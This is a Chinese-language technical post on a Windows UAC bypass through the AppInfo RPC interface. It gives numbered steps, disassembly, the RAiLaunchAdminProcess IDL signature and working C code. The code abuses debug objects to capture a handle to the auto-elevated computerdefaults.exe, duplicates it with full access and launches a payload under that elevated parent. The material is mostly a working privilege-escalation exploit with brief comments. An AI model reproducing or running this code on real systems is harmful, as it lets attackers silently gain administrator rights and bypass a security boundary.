利用本地RPC接口的UAC Bypass

AppInfo前往并与本地安全机构对话，以获取会话1的登录用户的提升令牌。
AppInfo加载一个STARTUPINFOEX结构（Vista新增），并调用全新的Vista API InitializeProcThreadAttributeList（），其中包含一个属性的空间。
调用OpenProcess（）以获取启动RPC调用的进程的句柄。
UpdateProcThreadAttribute（）由PROC_THREAD_ATTRIBUTE_PARENT_进程调用，并使用在步骤3中检索到的句柄。
调用CreateProcessAsUser（）时，将显示扩展的_STARTUPINFO_以及步骤1和4的结果。
调用DeleteProcThreadAttributeList（）。
收集结果，清理句柄。

mov edi, [ebp+VarStartupInfo]
mov eax, [edi+_STARTUPINFOW.lpTitle]
mov [ebp+VarStartupInfo_Title], eax
mov eax, [edi+_STARTUPINFOW.dwX]
mov [ebp+VarStartupInfo_X], eax
mov eax, [edi+_STARTUPINFOW.dwY]
mov [ebp+VarStartupInfo_Y], eax
mov eax, [edi+_STARTUPINFOW.dwXSize]
mov [ebp+VarStartupInfo_XSize], eax
mov eax, [edi+_STARTUPINFOW.dwYSize]
mov [ebp+VarStartupInfo_YSize], eax
mov eax, [edi+_STARTUPINFOW.dwXCountChars]
mov [ebp+VarStartupInfo_XCountChars], eax
mov eax, [edi+_STARTUPINFOW.dwYCountChars]
mov [ebp+VarStartupInfo_YCountChars], eax
mov eax, [edi+_STARTUPINFOW.dwFillAttribute]
mov [ebp+VarStartupInfo_FillAttr], eax
mov eax, [edi+_STARTUPINFOW.dwFlags]
mov [ebp+VarStartupInfo_Flags], eax
mov cx, [edi+_STARTUPINFOW.wShowWindow]
mov [ebp+VarStartupInfo_ShowWindow], cx
...
push eax
push ebx
push 0FFFFFFFFh
push [ebp+hwnd]
lea eax, [ebp+VarStartupInfo_Title]
push eax
push [ebp+hMemToWinSta0_Desktop]
push [ebp+VarExpandedCurrDir]
push [ebp+ArgCreationFlags]
push [ebp+arg_8] ; Probably bInheritHandles
push [ebp+VarExpandedCommandLine]
push [ebp+VarExpandedApplicationName]
push StaticBindingHandle
lea eax, [ebp+pAsync]
push eax
call _RAiLaunchAdminProcess@52

struct APP_PROCESS_INFORMATION {
unsigned __int3264 ProcessHandle;
unsigned __int3264 ThreadHandle;
long ProcessId;
long ThreadId;
};


long RAiLaunchAdminProcess(
handle_t hBinding,
[in][unique][string] wchar_t* ExecutablePath,
[in][unique][string] wchar_t* CommandLine,
[in] long StartFlags,
[in] long CreateFlags,
[in][string] wchar_t* CurrentDirectory,
[in][string] wchar_t* WindowStation,
[in] struct APP_STARTUP_INFO* StartupInfo,
[in] unsigned __int3264 hWnd,
[in] long Timeout,
[out] struct APP_PROCESS_INFORMATION* ProcessInformation,
[out] long *ElevationType
);

lstrcpyW(szProcess, L"C:\\Windows\\System32\\winver.exe");


if (!AicLaunchAdminProcess(szProcess,
szProcess,
0,
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
(LPWSTR)L"C:\\Windows\\System32",
(LPWSTR)L"WinSta0\\Default",
NULL,
INFINITE,
SW_HIDE,
&procInfo)) return STATUS_UNSUCCESSFUL;

// Capture debug object handle.
//获取调试对象句柄。
//
status = NtQueryInformationProcess(
procInfo.hProcess,
ProcessDebugObjectHandle,
&dbgHandle,
sizeof(HANDLE),
NULL);


if (!NT_SUCCESS(status)) {
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
return STATUS_UNSUCCESSFUL;
}

// Detach debug and kill non elevated victim process.
//分离调试并杀死非提升的进程。
//
((void(NTAPI*)(HANDLE, HANDLE))GetProcAddress(LoadLibraryA("ntdll"), "NtRemoveProcessDebug"))(procInfo.hProcess, dbgHandle);
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);

lstrcpyW(szProcess, L"C:\\Windows\\System32\\computerdefaults.exe");
RtlSecureZeroMemory(&procInfo, sizeof(procInfo));
RtlSecureZeroMemory(&dbgEvent, sizeof(dbgEvent));


if (!AicLaunchAdminProcess(szProcess,
szProcess,
1,
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
(LPWSTR)L"C:\\Windows\\System32",
(LPWSTR)(L"WinSta0\\Default"),
NULL,
INFINITE,
SW_HIDE,
&procInfo)) return STATUS_UNSUCCESSFUL;

// Update thread TEB with debug object handle to receive debug events.
//使用调试对象句柄更新线程TEB以接收调试事件。
//
((void(NTAPI*)(HANDLE))GetProcAddress(LoadLibraryA("ntdll"), "DbgUiSetThreadDebugObject"))(dbgHandle);
dbgProcessHandle = NULL;


//
// Debugger wait cycle.
//调试器等待周期。
//
while (1) {


if (!WaitForDebugEvent(&dbgEvent, INFINITE)) break;


switch (dbgEvent.dwDebugEventCode) {
case CREATE_PROCESS_DEBUG_EVENT:
dbgProcessHandle = dbgEvent.u.CreateProcessInfo.hProcess;
break;
}


if (dbgProcessHandle) break;
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}


if (dbgProcessHandle == NULL) return false;

// Create new handle from captured with PROCESS_ALL_ACCESS.
//使用PROCESS_ALL_ACCESS从捕获的文件创建新句柄。
//
dupHandle = NULL;
status = NtDuplicateObject(dbgProcessHandle,
NtCurrentProcess(),
NtCurrentProcess(),
&dupHandle,
PROCESS_ALL_ACCESS,
0,
0);


if (NT_SUCCESS(status)) {
//
// Run new process with parent set to duplicated process handle.
//在父进程设置为重复进程句柄的情况下运行新进程。
//
ucmxCreateProcessFromParent(dupHandle, lpszPayload);
NtClose(dupHandle);
}